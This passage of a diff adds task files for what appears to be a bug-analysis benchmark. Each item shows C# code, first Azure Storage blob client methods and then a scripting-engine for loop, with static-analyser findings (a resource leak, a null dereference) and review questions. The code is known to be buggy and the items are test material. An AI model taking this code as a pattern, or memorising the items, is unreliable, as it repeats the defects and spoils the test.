+        /// <param name="breakPeriod">The amount of time to allow the lease to remain, rounded down to seconds.
+        /// If null, the break period is the remainder of the current lease, or zero for infinite leases.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> implementing the break lease operation.
+        /// </returns>
+        private RESTCommand<TimeSpan> BreakLeaseImpl(BlobAttributes attributes, TimeSpan? breakPeriod, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            int? breakSeconds = null;
+            if (breakPeriod.HasValue)
+            {
+                CommonUtility.AssertInBounds("breakPeriod", breakPeriod.Value, TimeSpan.FromSeconds(Constants.MinimumBreakLeasePeriod), TimeSpan.FromSeconds(Constants.MaximumBreakLeasePeriod));
+                breakSeconds = (int)breakPeriod.Value.TotalSeconds;
+            }
+
+            RESTCommand<TimeSpan> putCmd = new RESTCommand<TimeSpan>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Lease(uri, serverTimeout, LeaseAction.Break, null /* proposedLeaseId */, null /* leaseDuration */, breakSeconds, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.Accepted, resp, TimeSpan.Zero, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+
+                int? remainingLeaseTime = BlobHttpResponseParsers.GetRemainingLeaseTime(resp);
+                if (!remainingLeaseTime.HasValue)
+                {
+                    // Unexpected result from service.
+                    throw new StorageException(cmd.CurrentResult, SR.LeaseTimeNotReceived, null /* inner */);
+                }
+
+                return TimeSpan.FromSeconds(remainingLeaseTime.Value);
+            };
+
+            return putCmd;
+        }
+
+    /// <summary>
+    /// Implementation of the StartCopy method. Result is a BlobAttributes object derived from the response headers.
+    /// </summary>
+    /// <param name="blobAttributes">The attributes.</param>
+    /// <param name="source">The URI of the source blob.</param>
+    /// <param name="sourceContentMD5">An optional hash value used to ensure transactional integrity for the operation. May be <c>null</c> or an empty string.</param>
+    /// <param name="incrementalCopy">A boolean indicating whether or not this is an incremental copy</param>
+    /// <param name="syncCopy">A boolean to enable synchronous server copy of blobs.</param>
+    /// <param name="premiumPageBlobTier">A <see cref="PremiumPageBlobTier"/> representing the tier to set.</param>
+    /// <param name="sourceAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the source object. If <c>null</c>, no condition is used.</param>
+    /// <param name="destAccessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the destination blob. If <c>null</c>, no condition is used.</param>
+    /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+    /// <returns>
+    /// A <see cref="RESTCommand{T}"/> that starts to copy.
+    /// </returns>
+    /// <exception cref="System.ArgumentException">sourceAccessCondition</exception>
+    internal RESTCommand<string> StartCopyImpl(BlobAttributes attributes, Uri source, string sourceContentMD5, bool incrementalCopy, bool syncCopy, PremiumPageBlobTier? premiumPageBlobTier, AccessCondition sourceAccessCondition, AccessCondition destAccessCondition, BlobRequestOptions options)
+    {
+        if (sourceAccessCondition != null && !string.IsNullOrEmpty(sourceAccessCondition.LeaseId))
+        {
+            throw new ArgumentException(SR.LeaseConditionOnSource, "sourceAccessCondition");
+        }
+
+        RESTCommand<string> putCmd = new RESTCommand<string>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+        options.ApplyToStorageCommand(putCmd);
+        putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) =>
+        {
+            StorageRequestMessage msg = BlobHttpRequestMessageFactory.CopyFrom(uri, serverTimeout, source, sourceContentMD5, incrementalCopy, syncCopy, premiumPageBlobTier, sourceAccessCondition, destAccessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            BlobHttpRequestMessageFactory.AddMetadata(msg, attributes.Metadata);
+            return msg;
+        };
+        putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+        {
+            HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.Accepted, resp, null /* retVal */, cmd, ex);
+            CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+            CopyState state = BlobHttpResponseParsers.GetCopyAttributes(resp);
+            attributes.CopyState = state;
+            this.attributes.Properties.PremiumPageBlobTier = premiumPageBlobTier;
+            if (premiumPageBlobTier.HasValue)
+            {
+                this.attributes.Properties.BlobTierInferred = false;
+            }
+
+            return state.CopyId;
+        };
+
+        return putCmd;
+    }
+
+    /// <summary>
+    /// Implementation of the AbortCopy method. No result is produced.
+    /// </summary>
+    /// <param name="attributes">The attributes.</param>
+    /// <param name="copyId">The copy ID of the copy operation to abort.</param>
+    /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+    /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+    /// <returns>
+    /// A <see cref="RESTCommand{T}"/> that aborts the copy.
+    /// </returns>
+    private RESTCommand<NullType> AbortCopyImpl(BlobAttributes attributes, string copyId, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            CommonUtility.AssertNotNull("copyId", copyId);
+
+            RESTCommand<NullType> putCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.AbortCopy(uri, serverTimeout, copyId, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) => HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.NoContent, resp, NullType.Value, cmd, ex);
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Implementation for the Snapshot method.
+        /// </summary>
+        /// <param name="metadata">A collection of name-value pairs defining the metadata of the snapshot, or <c>null</c>.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>A <see cref="RESTCommand{T}"/> that creates the snapshot.</returns>
+        /// <remarks>If the <c>metadata</c> parameter is <c>null</c> then no metadata is associated with the request.</remarks>
+        private RESTCommand<CloudBlob> SnapshotImpl(IDictionary<string, string> metadata, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<CloudBlob> putCmd = new RESTCommand<CloudBlob>(this.ServiceClient.Credentials, this.attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) =>
+            {
+                StorageRequestMessage msg = BlobHttpRequestMessageFactory.Snapshot(uri, serverTimeout, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+                BlobHttpRequestMessageFactory.AddMetadata(msg, metadata);
+
+                return msg;
+            };
+
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.Created, resp, null /* retVal */, cmd, ex);
+                DateTimeOffset snapshotTime = NavigationHelper.ParseSnapshotTime(BlobHttpResponseParsers.GetSnapshotTime(resp));
+                CloudBlob snapshot = new CloudBlob(this.Name, snapshotTime, this.Container);
+                snapshot.attributes.Metadata = new Dictionary<string, string>(metadata ?? this.Metadata);
+                snapshot.attributes.Properties = new BlobProperties(this.Properties);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(snapshot.attributes, resp, false);
+                return snapshot;
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Implements the UndeleteBlob method.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that deletes the blob.
+        /// </returns>
+        private RESTCommand<NullType> UndeleteBlobImpl(BlobAttributes blobAttributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<NullType> unDeleteCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(unDeleteCmd);
+            unDeleteCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Undelete(uri, serverTimeout, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            unDeleteCmd.PreProcessResponse = (cmd, resp, ex, ctx) => HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+
+            return unDeleteCmd;
+        }
+
+        /// <summary>
+        /// Validates that the AccessCondition and the RequestOptions passed into a KeyRotation operation are correct.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="encryptionMetadataAvailable">If the encryption metadata is available on the local blob.</param>
+        private void ValidateKeyRotationArguments(AccessCondition accessCondition, BlobRequestOptions options, bool encryptionMetadataAvailable)
+        {
+            if (accessCondition != null && accessCondition.IsConditional)
+            {
+                throw new ArgumentException(SR.KeyRotationInvalidAccessCondition, "accessCondition");
+            }
+            if (options.EncryptionPolicy == null)
+            {
+                throw new ArgumentException(SR.KeyRotationNoEncryptionPolicy, "options.EncryptionPolicy");
+            }
+            if (options.EncryptionPolicy.Key == null)
+            {
+                throw new ArgumentException(SR.KeyRotationNoEncryptionKey, "options.EncryptionPolicy.Key");
+            }
+            if (options.EncryptionPolicy.KeyResolver == null)
+            {
+                throw new ArgumentException(SR.KeyRotationNoEncryptionKeyResolver, "options.EncryptionPolicy.KeyResolver");
+            }
+            if (this.Properties.ETag == null)
+            {
+                throw new InvalidOperationException(SR.KeyRotationNoEtag);
+            }
+            if (!encryptionMetadataAvailable)
+            {
+                throw new InvalidOperationException(SR.KeyRotationNoEncryptionMetadata);
+            }
+        }
+
+        private struct WrappedKeyData
+        {
+            public byte[] encryptedKey;
+            public string algorithm;
+            public BlobEncryptionData encryptionData;
+        }
+
+        /// <summary>
+        /// Run the elements of key rotation that are common to both the sync and async cases.
+        /// Because KV only offers us async operations, our sync codepath needs to wrap the async version, and we can reuse some of the code.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="modifiedOptions">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. Must have already been processed with Apply Defaults.</param>
+        /// <param name="cancellationToken">The cancellation token to use for the async requests.</param>
+        /// <returns>The Task that generates the wrappped key.</returns>
+        private async Task<WrappedKeyData> RotateEncryptionHelper(AccessCondition accessCondition, BlobRequestOptions modifiedOptions, CancellationToken cancellationToken)
+        {
+            // Validate arguments:
+            String encryptionDataString;
+            bool encryptionMetadataAvailable = this.Metadata.TryGetValue(Constants.EncryptionConstants.BlobEncryptionData, out encryptionDataString);
+            this.ValidateKeyRotationArguments(accessCondition, modifiedOptions, encryptionMetadataAvailable);
+
+            // Deserialize the old encryption data and validate:
+            BlobEncryptionData encryptionData = Newtonsoft.Json.JsonConvert.DeserializeObject<BlobEncryptionData>(encryptionDataString);
+            if (encryptionData.WrappedContentKey.EncryptedKey == null)
+            {
+                throw new InvalidOperationException(SR.KeyRotationNoKeyID);
+            }
+            
+            // Use the key resolver to resolve the old KEK.
+            Azure.KeyVault.Core.IKey oldKey = await modifiedOptions.EncryptionPolicy.KeyResolver.ResolveKeyAsync(encryptionData.WrappedContentKey.KeyId, cancellationToken).ConfigureAwait(false);
+            if (oldKey == null)
+            {
+                throw new ArgumentException(SR.KeyResolverCannotResolveExistingKey);
+            }
+
+            // Use the old KEK to unwrap the CEK.
+            byte[] unwrappedOldKey = await oldKey.UnwrapKeyAsync(encryptionData.WrappedContentKey.EncryptedKey, encryptionData.WrappedContentKey.Algorithm, cancellationToken).ConfigureAwait(false);
+
+            // Use the new KEK to re-wrap the CEK.
+            Tuple<byte[], string> wrappedNewKey = await modifiedOptions.EncryptionPolicy.Key.WrapKeyAsync(unwrappedOldKey, null /* algorithm */, cancellationToken).ConfigureAwait(false);
+            return new WrappedKeyData() { encryptedKey = wrappedNewKey.Item1, algorithm = wrappedNewKey.Item2, encryptionData = encryptionData };
+        }
+
+        /// <summary>
+        /// Called when the asynchronous operation to commit the blob started by UploadFromStream finishes.
+        /// </summary>
+        /// <param name="result">The result of the asynchronous operation.</param>
+        internal static void BlobOutputStreamCommitCallback(IAsyncResult result)
+        {
+            StorageAsyncResult<NullType> storageAsyncResult = (StorageAsyncResult<NullType>)result.AsyncState;
+            CloudBlobStream blobStream = (CloudBlobStream)storageAsyncResult.OperationState;
+            storageAsyncResult.UpdateCompletedSynchronously(result.CompletedSynchronously);
+
+            try
+            {
+                blobStream.EndCommit(result);
+                blobStream.Dispose();
+                storageAsyncResult.OnComplete();
+            }
+            catch (Exception e)
+            {
+                storageAsyncResult.OnComplete(e);
+            }
+        }
+
+        /// <summary>
+        /// Updates this blob with the given attributes at the end of a fetch attributes operation.
+        /// </summary>
+        /// <param name="blobAttributes">The new attributes.</param>
+        /// <param name="response">The response.</param>
+        /// <exception cref="System.InvalidOperationException"></exception>
+        internal static void UpdateAfterFetchAttributes(BlobAttributes blobAttributes, HttpResponseMessage response)
+        {
+            BlobProperties properties = BlobHttpResponseParsers.GetProperties(response);
+
+            // If BlobType is specified and the value returned from cloud is different, 
+            // then it's a client error and we need to throw.
+            if (blobAttributes.Properties.BlobType != BlobType.Unspecified && blobAttributes.Properties.BlobType != properties.BlobType)
+            {
+                throw new InvalidOperationException(SR.BlobTypeMismatch);
+            }
+
+            blobAttributes.Properties = properties;
+            blobAttributes.Metadata = BlobHttpResponseParsers.GetMetadata(response);
+            blobAttributes.CopyState = BlobHttpResponseParsers.GetCopyAttributes(response);
+        }
+
+        /// <summary>
+        /// Retrieve ETag, LMT, Length and Sequence-Number from response.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="response">The response to parse.</param>
+        /// <param name="updateLength">If set to <c>true</c>, update the blob length.</param>
+        internal static void UpdateETagLMTLengthAndSequenceNumber(BlobAttributes blobAttributes, HttpResponseMessage response, bool updateLength)
+        {
+            BlobProperties parsedProperties = BlobHttpResponseParsers.GetProperties(response);
+            blobAttributes.Properties.ETag = parsedProperties.ETag ?? blobAttributes.Properties.ETag;
+            blobAttributes.Properties.Created = parsedProperties.Created ?? blobAttributes.Properties.Created;
+            blobAttributes.Properties.LastModified = parsedProperties.LastModified ?? blobAttributes.Properties.LastModified;
+            blobAttributes.Properties.PageBlobSequenceNumber = parsedProperties.PageBlobSequenceNumber ?? blobAttributes.Properties.PageBlobSequenceNumber;
+            blobAttributes.Properties.AppendBlobCommittedBlockCount = parsedProperties.AppendBlobCommittedBlockCount ?? blobAttributes.Properties.AppendBlobCommittedBlockCount;
+            blobAttributes.Properties.IsServerEncrypted = parsedProperties.IsServerEncrypted;
+            blobAttributes.Properties.IsIncrementalCopy = parsedProperties.IsIncrementalCopy;
+            blobAttributes.Properties.DeletedTime = parsedProperties.DeletedTime ??
+                                                    blobAttributes.Properties.DeletedTime;
+            blobAttributes.Properties.RemainingDaysBeforePermanentDelete =
+                parsedProperties.RemainingDaysBeforePermanentDelete ??
+                blobAttributes.Properties.RemainingDaysBeforePermanentDelete;
+
+            if (updateLength)
+            {
+                blobAttributes.Properties.Length = parsedProperties.Length;
+            }
+        }
+
+        /// <summary>
+        /// Converts the source blob of a copy operation to an appropriate access URI, taking Shared Access Signature credentials into account.
+        /// </summary>
+        /// <param name="source">The source blob.</param>
+        /// <returns>A URI addressing the source blob, using SAS if appropriate.</returns>
+        internal static Uri SourceBlobToUri(CloudBlob source)
+        {
+            CommonUtility.AssertNotNull("source", source);
+            return source.ServiceClient.Credentials.TransformUri(source.SnapshotQualifiedUri);
+        }
+
+        #region GetAccountProperties
+
+        /// <summary>
+        /// Begins an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object to be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginGetAccountProperties(AsyncCallback callback, object state)
+        {
+            return this.BeginGetAccountProperties(null /* requestOptions */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="requestOptions">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object to be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginGetAccountProperties(BlobRequestOptions requestOptions, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            requestOptions = BlobRequestOptions.ApplyDefaults(requestOptions, BlobType.Unspecified, this.ServiceClient);
+            operationContext = operationContext ?? new OperationContext();
+
+            return CancellableAsyncResultTaskWrapper.Create(token => this.GetAccountPropertiesAsync(requestOptions, operationContext), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>A <see cref="AccountProperties"/> object.</returns>
+        public virtual AccountProperties EndGetAccountProperties(IAsyncResult asyncResult)
+        {
+            CommonUtility.AssertNotNull(nameof(asyncResult), asyncResult);
+            return ((CancellableAsyncResultTaskWrapper<AccountProperties>)(asyncResult)).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="AccountProperties"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<AccountProperties> GetAccountPropertiesAsync()
+        {
+            return this.GetAccountPropertiesAsync(CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="AccountProperties"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<AccountProperties> GetAccountPropertiesAsync(CancellationToken cancellationToken)
+        {
+            return this.GetAccountPropertiesAsync(default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="requestOptions">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="AccountProperties"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<AccountProperties> GetAccountPropertiesAsync(BlobRequestOptions requestOptions, OperationContext operationContext)
+        {
+            return this.GetAccountPropertiesAsync(requestOptions, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="requestOptions">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="AccountProperties"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<AccountProperties> GetAccountPropertiesAsync(BlobRequestOptions requestOptions, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            requestOptions = BlobRequestOptions.ApplyDefaults(requestOptions, BlobType.Unspecified, this.ServiceClient);
+            operationContext = operationContext ?? new OperationContext();
+            return Executor.ExecuteAsync(
+                this.GetAccountPropertiesImpl(requestOptions),
+                requestOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Get properties for the account this blob resides on.
+        /// </summary>
+        /// <param name="requestOptions">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>An <see cref="AccountProperties"/> object.</returns>
+        [DoesServiceRequest]
+        public virtual AccountProperties GetAccountProperties(BlobRequestOptions requestOptions = null, OperationContext operationContext = null)
+        {
+            requestOptions = BlobRequestOptions.ApplyDefaults(requestOptions, BlobType.Unspecified, this.ServiceClient);
+            operationContext = operationContext ?? new OperationContext();
+            return Executor.ExecuteSync(
+                this.GetAccountPropertiesImpl(requestOptions),
+                requestOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        private RESTCommand<AccountProperties> GetAccountPropertiesImpl(BlobRequestOptions requestOptions)
+        {
+            RESTCommand<AccountProperties> retCmd = new RESTCommand<AccountProperties>(this.ServiceClient.Credentials, this.StorageUri);
+            retCmd.CommandLocationMode = CommandLocationMode.PrimaryOrSecondary;
+            retCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.GetAccountProperties(uri, builder, serverTimeout, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            retCmd.RetrieveResponseStream = true;
+            retCmd.PreProcessResponse =
+                (cmd, resp, ex, ctx) =>
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, null /* retVal */, cmd, ex);
+
+            retCmd.PostProcessResponseAsync =
+                (cmd, resp, ctx, ct) => Task.FromResult(BlobHttpResponseParsers.ReadAccountProperties(resp));
+            requestOptions.ApplyToStorageCommand(retCmd);
+            return retCmd;
+        }
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.IO.Stream Microsoft.WindowsAzure.Storage.Core.Util.AggregatingProgressIncrementer::CreateProgressIncrementingStream(System.IO.Stream) at Line 1204) of type Microsoft.WindowsAzure.Storage.Core.Util.ProgressIncrementingStream in method "Task CloudBlob.DownloadRangeToStreamAsync(Stream,Nullable`1<!0>,Nullable`1<!0>,AccessCondition,BlobRequestOptions,OperationContext,AggregatingProgressIncrementer,CancellationToken)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Task CloudBlob.DownloadRangeToStreamAsync(Stream,Nullable`1<!0>,Nullable`1<!0>,AccessCondition,BlobRequestOptions,OperationContext,AggregatingProgressIncrementer,CancellationToken)
+
+### File:
+Lib/ClassLibraryCommon/Blob/CloudBlob.cs
+
+### Key:
+CloudBlob.cs|DownloadRangeToStreamAsync|DOTNET_RESOURCE_LEAK
+
+### Hash:
+d9df908837460d38fccaf0fc8a390778
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1676/instruction.md b/inferredbugs-1676/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b45c0c10a6babb576eea02f7646b67402a5c2a9e
--- /dev/null
+++ b/inferredbugs-1676/instruction.md
@@ -0,0 +1,153 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** CSLightStudio
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Text;
+namespace CSLE
+{
+
+    public class CLS_Expression_LoopFor : ICLS_Expression
+    {
+        public CLS_Expression_LoopFor(int tbegin, int tend, int lbegin, int lend)
+        {
+            listParam = new List<ICLS_Expression>();
+            tokenBegin = tbegin;
+            tokenEnd = tend;
+
+            lineBegin = lbegin;
+            lineEnd = lend;
+        }
+        public int lineBegin
+        {
+            get;
+            private set;
+        }
+        public int lineEnd
+        {
+            get;
+            set;
+        }
+        //Block的参数 一个就是一行，顺序执行，没有
+        public List<ICLS_Expression> listParam
+        {
+            get;
+            private set;
+        }
+        public int tokenBegin
+        {
+            get;
+            private set;
+        }
+        public int tokenEnd
+        {
+            get;
+            set;
+        }
+        public CLS_Content.Value ComputeValue(CLS_Content content)
+        {
+            content.InStack(this);
+            content.DepthAdd();
+            ICLS_Expression expr_init = listParam[0] as ICLS_Expression;
+            if (expr_init != null) expr_init.ComputeValue(content);
+
+            ICLS_Expression expr_continue = listParam[1] as ICLS_Expression;
+            ICLS_Expression expr_step = listParam[2] as ICLS_Expression;
+
+            ICLS_Expression expr_block = listParam[3] as ICLS_Expression;
+            CLS_Content.Value v = null;
+            for (; (bool)expr_continue.ComputeValue(content).value; expr_step.ComputeValue(content))
+            {
+                if (expr_block != null)
+                {
+                    if (expr_block is CLS_Expression_Block)
+                    {
+                        v = expr_block.ComputeValue(content);
+                        if (v != null && v.breakBlock > 1) break; ;
+                    }
+                    else
+                    {
+                        content.DepthAdd();
+                        v = expr_block.ComputeValue(content);
+                        if (v != null && v.breakBlock > 1) break; ;
+                        content.DepthRemove();
+                    }
+                    //if (v.breakBlock == 1) continue;
+                    //if (v.breakBlock == 2) break;
+                    //if (v.breakBlock == 10) return v;
+                }
+            }
+            content.DepthRemove();
+            content.OutStack(this);
+            return v;
+            //for 逻辑
+            //做数学计算
+            //从上下文取值
+            //_value = null;
+        }
+
+
+        public override string ToString()
+        {
+            return "For|";
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `expr_continue` last assigned on line 51 could be null and is dereferenced at line 56, column 20.
+
+### Severity:
+ERROR
+
+### Procedure:
+CLS_Content$Value CLS_Expression_LoopFor.ComputeValue(CLS_Content)
+
+### File:
+CSLightStudio/core/CSLightEvil/C#LE/Expression/Loop/CLS_Expression_LoopFor.cs
+
+### Key:
+CLS_Expression_LoopFor.cs|ComputeValue|NULL_DEREFERENCE
+
+### Node Key:
+13bfd1f29e10ee7fa9c3e90267e0bca8
+
+### Hash:
+2b8082ed76f62b2cbacdb930bfc9c743
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1678/instruction.md b/inferredbugs-1678/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e49f44ae1cc86b6b296f74424535145f80011753
--- /dev/null
+++ b/inferredbugs-1678/instruction.md
@@ -0,0 +1,415 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** CSLightStudio
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
